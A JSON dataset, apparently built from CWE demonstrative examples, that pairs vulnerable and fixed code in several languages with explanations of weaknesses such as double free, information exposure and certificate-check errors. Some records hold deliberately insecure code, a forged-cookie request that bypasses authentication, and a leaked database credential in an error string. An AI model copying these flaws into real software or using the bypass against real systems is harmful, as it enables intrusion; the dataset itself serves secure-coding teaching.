  "explanation": "In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token. Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object \"AuthToken\" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh."
}
{
  "source": [
    "http://somesite.com/someapplication/admin.jsp"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code) JSP"
    }
  ],
  "cwe_id": "CWE-425",
  "example_id": "1",
  "explanation": "If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following."
}
{
  "source": [
    "public int computeAverageResponseTime (int totalTime, int numRequests) {return totalTime / numRequests;}",
    "public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {if (numRequests == 0) {System.out.println(\"Division by zero attempted!\");throw ArithmeticException;}return totalTime / numRequests;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-369",
  "example_id": "1",
  "explanation": "The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception."
}
{
  "source": [
    "double divide(double x, double y){return x/y;}",
    "const int DivideByZero = 10;double divide(double x, double y){if ( 0 == y ){throw DivideByZero;}return x/y;}...try{divide(10, 0);}catch( int i ){if(i==DivideByZero) {cerr<<\"Divide by zero error\";}}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-369",
  "example_id": "2",
  "explanation": "The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.Example 2 References:[REF-371] Alex Allain. \"Handling Errors Exceptionally Well in C++\". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07."
}
{
  "source": [
    "int Division(int x, int y){return (x / y);}",
    "int SafeDivision(int x, int y){try{return (x / y);}catch (System.DivideByZeroException dbz){System.Console.WriteLine(\"Division by zero attempted!\");return 0;}}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    },
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-369",
  "example_id": "3",
  "explanation": "The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.Example 3 References:[REF-372] Microsoft. \"Exceptions and Exception Handling (C# Programming Guide)\". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>."
}
{
  "source": [
    "char* ptr = (char*)malloc (SIZE);...if (abrt) {free(ptr);}...free(ptr);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-415",
  "example_id": "1",
  "explanation": "The following code shows a simple example of a double free vulnerability.Double free vulnerabilities have two common (and sometimes overlapping) causes:\n\n\nError conditions and other exceptional circumstances\n\n\nConfusion over which part of the program is responsible for freeing the memory\n\n\nAlthough some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once."
}
{
  "source": [
    "#include <stdio.h>#include <unistd.h>#define BUFSIZE1 512#define BUFSIZE2 ((BUFSIZE1/2) - 8)\nint main(int argc, char **argv) {char *buf1R1;char *buf2R1;char *buf1R2;buf1R1 = (char *) malloc(BUFSIZE2);buf2R1 = (char *) malloc(BUFSIZE2);free(buf1R1);free(buf2R1);buf1R2 = (char *) malloc(BUFSIZE1);strncpy(buf1R2, argv[1], BUFSIZE1-1);free(buf2R1);free(buf1R2);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-415",
  "example_id": "2",
  "explanation": "While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on."
}
{
  "source": [
    "URL[] classURLs= new URL[]{new URL(\"file:subdir/\")};URLClassLoader loader = new URLClassLoader(classURLs);Class loadedClass = Class.forName(\"loadMe\", true, loader);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-494",
  "example_id": "1",
  "explanation": "This example loads an external class from a local subdirectory.This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code."
}
{
  "source": [
    "//assume the password is already encrypted, avoiding CWE-312 \n\nfunction authenticate($username,$password){\ninclude(\"http://external.example.com/dbInfo.php\");\n\n//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available\nmysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');mysql_select_db($dbname);$query = 'Select * from users where username='.$username.' And password='.$password;$result = mysql_query($query);\nif(mysql_numrows($result) == 1){mysql_close();return true;}else{mysql_close();return false;}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-494",
  "example_id": "2",
  "explanation": "This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack."
}
{
  "source": [
    "my $username=param('username');\n                  my $password=param('password');\n                  \nif (IsValidUsername($username) == 1)\n                  {\n                  if (IsValidPassword($username, $password) == 1)\n                  {\n                  print \"Login Successful\";\n                  }\n                  else\n                  {\n                  print \"Login Failed - incorrect password\";\n                  }\n                  }\n                  else\n                  {\n                  print \"Login Failed - unknown username\";\n                  }",
    "\"Login Failed - incorrect username or password\""
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "1",
  "explanation": "The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:"
}
{
  "source": [
    "try {openDbConnection();}\n//print exception message that includes exception message and configuration file location\ncatch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), '\\n';echo 'Check credentials in config file at: ', $Mysql_config_location, '\\n';}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "2",
  "explanation": "This code tries to open a database connection, and prints any exceptions that occur.If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database."
}
{
  "source": [
    "public BankAccount getUserBankAccount(String username, String accountNumber) {\nBankAccount userAccount = null;String query = null;try {if (isAuthorizedUser(username)) {query = \"SELECT * FROM accounts WHERE owner = \"+ username + \" AND accountID = \" + accountNumber;DatabaseManager dbManager = new DatabaseManager();Connection conn = dbManager.getConnection();Statement stmt = conn.createStatement();ResultSet queryResult = stmt.executeQuery(query);userAccount = (BankAccount)queryResult.getObject(accountNumber);}} catch (SQLException ex) {String logMessage = \"Unable to retrieve account information from database,\\nquery: \" + query;Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);}return userAccount;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "3",
  "explanation": "In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database."
}
{
  "source": [
    "locationClient = new LocationClient(this, this, this);locationClient.connect();currentUser.setLocation(locationClient.getLastLocation());\n...\n\ncatch (Exception e) {AlertDialog.Builder builder = new AlertDialog.Builder(this);builder.setMessage(\"Sorry, this application has experienced an error.\");AlertDialog alert = builder.create();alert.show();Log.e(\"ExampleActivity\", \"Caught exception: \" + e + \" While on User:\" + User.toString());}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "4",
  "explanation": "This code stores location information about the current user:When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log."
}
{
  "source": [
    "Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(result) SQL"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "5",
  "explanation": "The following is an actual MySQL error statement:The error clearly exposes the database credentials."
}
{
  "source": [
    "Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JSP"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "6",
  "explanation": "This code displays some information on a web page.The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary."
}
{
  "source": [
    "<% if (Boolean.getBoolean(\"debugEnabled\")) {\n%>User account number: <%= acctNo %><%} %>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JSP"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "7",
  "explanation": "The following program changes its behavior based on a debug flag.The code writes sensitive debug information to the client browser if the \"debugEnabled\" flag is set to true ."
}
{
  "source": [
    "<uses-permission android:name=\"android.permission.ACCESS_FINE_LOCATION\"/>",
    "locationClient = new LocationClient(this, this, this);locationClient.connect();Location userCurrLocation;userCurrLocation = locationClient.getLastLocation();deriveStateFromCoords(userCurrLocation);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "XML"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-200",
  "example_id": "8",
  "explanation": "This code uses location to determine the user's current US State location.First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in."
}
{
  "source": [
    "az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true",
    "az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Shell"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    }
  ],
  "cwe_id": "CWE-552",
  "example_id": "1",
  "explanation": "The following Azure command updates the settings for a storage account:However, \"Allow Blob Public Access\" is set to true, meaning that anonymous/public users can access blobs.The command could be modified to disable \"Allow Blob Public Access\" by setting it to false."
}
{
  "source": [
    "gsutil iam get gs://BUCKET_NAME",
    "{\n\n\t\t       \"bindings\":[{\n\n\t\t\t \"members\":[\n\n\t\t\t   \"projectEditor: PROJECT-ID\",\n\t\t\t   \"projectOwner: PROJECT-ID\"\n\t\t\t \n\t\t\t ],\n\t\t\t \"role\":\"roles/storage.legacyBucketOwner\"\n\n\t\t       },\n\t\t       {\n\n\t\t\t \"members\":[\n\t\t\t \n\t\t\t   \"allUsers\",\n\t\t\t   \"projectViewer: PROJECT-ID\"\n\t\t\t   ],\n\t\t\t   \"role\":\"roles/storage.legacyBucketReader\"\n\n\t\t\t }\n\n\t\t       ]\n\n\t\t     }",
    "gsutil iam ch -d allUsers gs://BUCKET_NAME\n\t\t\t gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(informative) Shell"
    },
    {
      "vul_flag": 1,
      "language": "JSON"
    },
    {
      "vul_flag": 0,
      "language": "Shell"
    }
  ],
  "cwe_id": "CWE-552",
  "example_id": "2",
  "explanation": "The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':Suppose the command returns the following result:This result includes the \"allUsers\" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if \"allAuthenticatedUsers\" was present.The command could be modified to remove \"allUsers\" and/or \"allAuthenticatedUsers\" as follows:"
}
{
  "source": [
    "try {/.../}catch (Exception e) {System.out.println(e);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-209",
  "example_id": "1",
  "explanation": "In the following example, sensitive information might be printed depending on the exception that occurs.If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem."
}
{
  "source": [
    "try {openDbConnection();}\n//print exception message that includes exception message and configuration file location\ncatch (Exception $e) {echo 'Caught exception: ', $e->getMessage(), '\\n';echo 'Check credentials in config file at: ', $Mysql_config_location, '\\n';}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-209",
  "example_id": "2",
  "explanation": "This code tries to open a database connection, and prints any exceptions that occur.If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database."
}
{
  "source": [
    "$ConfigDir = \"/home/myprog/config\";$uname = GetUserInput(\"username\");\n\n# avoid CWE-22, CWE-78, others. \nExitError(\"Bad hacker!\") if ($uname !~ /^\\w+$/);$file = \"$ConfigDir/$uname.txt\";if (! (-e $file)) {ExitError(\"Error: $file does not exist\");}..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-209",
  "example_id": "3",
  "explanation": "The following code generates an error message that leaks the full pathname of the configuration file.If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application."
}
{
  "source": [
    "public BankAccount getUserBankAccount(String username, String accountNumber) {\nBankAccount userAccount = null;String query = null;try {if (isAuthorizedUser(username)) {query = \"SELECT * FROM accounts WHERE owner = \"+ username + \" AND accountID = \" + accountNumber;DatabaseManager dbManager = new DatabaseManager();Connection conn = dbManager.getConnection();Statement stmt = conn.createStatement();ResultSet queryResult = stmt.executeQuery(query);userAccount = (BankAccount)queryResult.getObject(accountNumber);}} catch (SQLException ex) {String logMessage = \"Unable to retrieve account information from database,\\nquery: \" + query;Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);}return userAccount;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-209",
  "example_id": "4",
  "explanation": "In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database."
}
{
  "source": [
    "my $q = new CGI;\nif ($q->cookie('loggedin') ne \"true\") {\nif (! AuthenticateUser($q->param('username'), $q->param('password'))) {ExitError(\"Error: you need to log in first\");}else {\n# Set loggedin and user cookies.$q->cookie(-name => 'loggedin',-value => 'true');\n$q->cookie(-name => 'user',-value => $q->param('username'));\n\n}\n}\nif ($q->cookie('user') eq \"Administrator\") {DoAdministratorTasks();}",
    "GET /cgi-bin/vulnerable.cgi HTTP/1.1Cookie: user=AdministratorCookie: loggedin=true\n[body of request]"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-287",
  "example_id": "1",
  "explanation": "The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to \"remember\" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the \"Administrator\" username, as recorded in the user cookie.Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:By setting the loggedin cookie to \"true\", the attacker bypasses the entire authentication check. By using the \"Administrator\" value in the user cookie, the attacker also gains privileges to administer the software."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-287",
  "example_id": "2",
  "explanation": "In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts. Example 2 References:[REF-236] Kim Zetter. \"Weak Password Brings 'Happiness' to Twitter Hacker\". 2009-01-09. \n\t\t\t\t<https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07."
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-287",
  "example_id": "3",
  "explanation": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products."
}
{
  "source": [
    "if ((cert = SSL_get_peer_certificate(ssl)) && host)foo=SSL_get_verify_result(ssl);\nif ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))\n\n\n// certificate looks good, host can be trusted"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-295",
  "example_id": "1",
  "explanation": "This code checks the certificate of a connected peer.In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client."
}
{
  "source": [
    "cert = SSL_get_peer_certificate(ssl);if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {\n\n\n// do secret things\n\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-295",
  "example_id": "2",
  "explanation": "The following OpenSSL code obtains a certificate and verifies it.Even though the \"verify\" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate."
}
{
  "source": [
    "if (cert = SSL_get_peer(certificate(ssl)) {\nfoo=SSL_get_verify_result(ssl);if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))\n\n\n//do stuff"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-295",
  "example_id": "3",
  "explanation": "The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate."
}
{
  "source": [
    "if (cert = SSL_get_peer_certificate(ssl)) {\n\n\n// got a certificate, do secret things"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-295",
  "example_id": "4",
  "explanation": "The following OpenSSL code ensures that there is a certificate before continuing execution.Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host."
}
{
  "source": [
    "if (cert = SSL_get_peer_certificate(ssl)) {\n\n\n// got certificate, host can be trusted\n\n\n//foo=SSL_get_verify_result(ssl);\n\n\n//if (X509_V_OK==foo) ...\n\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-295",
  "example_id": "5",
  "explanation": "The following OpenSSL code ensures that the host has a certificate.Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate."
}
{
  "source": [
    "bool DoSecureStuff(HANDLE hPipe) {bool fDataWritten = false;ImpersonateNamedPipeClient(hPipe);HANDLE hFile = CreateFile(...);/../RevertToSelf()/../}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C++"
    }
  ],
  "cwe_id": "CWE-273",
  "example_id": "1",
  "explanation": "This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to."
}
{
  "source": [
    "char buf[10], cp_buf[10];fgets(buf, 10, stdin);strcpy(cp_buf, buf);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "1",
  "explanation": "Consider the following code segment:The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy()."
}
{
  "source": [
    "buf = (char*) malloc(req_size);strncpy(buf, xfer, req_size);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "2",
  "explanation": "The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().The traditional defense of this coding error is: \"If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer.\" This argument ignores three important considerations:\n\n\nDepending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.\n\n\nIt is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.\n\n\nThe programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know."
}
{
  "source": [
    "char[] byteArray = new char[1024];for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {String userName = (String) i.Current();String pFileName = PFILE_ROOT + \"/\" + userName;StreamReader sr = new StreamReader(pFileName);sr.Read(byteArray,0,1024);//the file is always 1k bytessr.Close();processPFile(userName, byteArray);}",
    "FileInputStream fis;byte[] byteArray = new byte[1024];for (Iterator i=users.iterator(); i.hasNext();) {\nString userName = (String) i.next();String pFileName = PFILE_ROOT + \"/\" + userName;FileInputStream fis = new FileInputStream(pFileName);fis.read(byteArray); // the file is always 1k bytesfis.close();processPFile(userName, byteArray);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "3",
  "explanation": "The following examples read a file into a byte array.The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker."
}
{
  "source": [
    "String itemName = request.getParameter(ITEM_NAME);if (itemName.compareTo(IMPORTANT_ITEM) == 0) {...}...",
    "String itemName = request.Item(ITEM_NAME);if (itemName.Equals(IMPORTANT_ITEM)) {...}..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "4",
  "explanation": "The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.The traditional defense of this coding error is: \"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value.\" But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved."
}
{
  "source": [
    "System.clearProperty(\"os.name\");...String os = System.getProperty(\"os.name\");if (os.equalsIgnoreCase(\"Windows 95\")) System.out.println(\"Not supported\");"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "5",
  "explanation": "The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.The traditional defense of this coding error is: \"I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value.\" But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved."
}
{
  "source": [
    "Dim MyFile As New FileStream(\"myfile.txt\", FileMode.Open, FileAccess.Read, FileShare.Read)Dim MyArray(50) As ByteMyFile.Read(MyArray, 0, 50)DoDangerousOperation(MyArray(20))"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C#"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "6",
  "explanation": "The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested."
}
{
  "source": [
    "void host_lookup(char *user_supplied_addr){\nstruct hostent *hp;in_addr_t *addr;char hostname[64];in_addr_t inet_addr(const char *cp);\n\n/*routine that ensures user_supplied_addr is in the right format for conversion */\n\nvalidate_addr_form(user_supplied_addr);addr = inet_addr(user_supplied_addr);hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);strcpy(hostname, hp->h_name);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "7",
  "explanation": "This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy(). Note that this code is also vulnerable to a buffer overflow (CWE-119)."
}
{
  "source": [
    "int outputStringToFile(char *output, char *filename) {\n\nopenFileToWrite(filename);writeToFile(output);closeFile(filename);\n}",
    "int outputStringToFile(char *output, char *filename) {\nint isOutput = SUCCESS;\nint isOpen = openFileToWrite(filename);if (isOpen == FAIL) {printf(\"Unable to open file %s\", filename);isOutput = FAIL;}else {\nint isWrite = writeToFile(output);if (isWrite == FAIL) {printf(\"Unable to write to file %s\", filename);isOutput = FAIL;}\nint isClose = closeFile(filename);if (isClose == FAIL)isOutput = FAIL;\n\n}return isOutput;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C++"
    },
    {
      "vul_flag": 0,
      "language": "C++"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "8",
  "explanation": "In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example."
}
{
  "source": [
    "private File readFile = null;\npublic void setInputFile(String inputFile) {\n\n\n// create readFile File object from string containing name of file\n\n\n}\npublic void readFromFile() {\ntry {\nreader = new FileReader(readFile);\n\n// read input file\n\n\n} catch (FileNotFoundException ex) {...}\n}",
    "private File readFile = null;\npublic void setInputFile(String inputFile) {\n\n\n// create readFile File object from string containing name of file\n\n\n}\npublic void readFromFile() {\ntry {\nif (readFile == null) {System.err.println(\"Input file has not been set, call setInputFile method before calling openInputFile\");throw NullPointerException;}\nreader = new FileReader(readFile);\n\n// read input file\n\n\n} catch (FileNotFoundException ex) {...}catch (NullPointerException ex) {...}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-754",
  "example_id": "9",
